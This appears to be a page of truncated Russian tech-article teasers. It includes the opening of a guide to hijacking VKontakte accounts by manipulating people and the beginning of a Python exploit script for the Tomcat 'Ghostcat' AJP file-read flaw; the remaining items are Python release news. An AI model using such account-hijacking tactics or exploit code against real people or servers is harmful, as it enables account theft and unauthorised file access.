Пошаговое руководство по взлому страницы ВКонтакте

В статье приводится несколько возможных способов взлома ВКонтакте, ориентированных на людей, недалёких в компьютерной безопасности. Иными словами, при взломе будут использоваться не машинные, а человеческие уязвимости. Естественно, приведённые методы не универсальны (и слава богу!), и у кого-то может хватить мозгов на то, чтобы не поддаваться на ваши провокации. Но таких не так уж много, поверьте. Итак, начнём. Прежде всего, перед началом вам понадобятся страница, которую вы...

Apache Tomcat - AJP 'Ghostcat File Read/Inclusion

#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return...

DreamPie - новая командная оболочка для языка Python

Анонсирован первый релиз новой графической интерактивной командной оболочки (shell) для языка программирования Python - DreamPie 1.0. Программа распространяется в рамках лицензии GPLv3 и поддерживает интеграцию с Python 2.5, Python 2.6, Python 3.1, Jython 2.5 и IronPython 2.6. При разработке DreamPie использован код интегрированной среды разработки приложений IDLE, который был комбинирован с классическим интерактивным shell. Основная рабочая область в DreamPie разделена на два окна: в одном отображается история...

Выход новых версий Python

Выпущены новые версии популярного скриптового языка Python - 2.4.6 и 2.5.3. Оба обновления устраняют проблемы с безопаностью, сообщает opennet.ru: - возможность краха при обработке изображений функциями модулей imageop и rgbimgmodule; несколько ошибок, приводящих к краху интерпретатора; - исправлены проблемы в коде проверки на переполнение в функциях распределения памяти; возможность совершения DoS атаки через модуль zlib; - потенциальное целочисленное переполнение в функциях PyString_FromStringAndSize...

Python 3.0

Разработчики популярного свободного языка программирования Python анонсировали выход версии 3.0. Новая версия является первой, в которой разработчики сознательно отказались от сохранения обратной совместимости с предыдущими, дополнив, изменив или удалив целый ряд языковых конструкций. Так, объединены в единый тип str, реализующий строки Unicode, строковые типы str и unicode; функция print() заменила одноименный оператор; ряд функций, возвращавших списки (list), теперь возвращают итераторы. Напомним...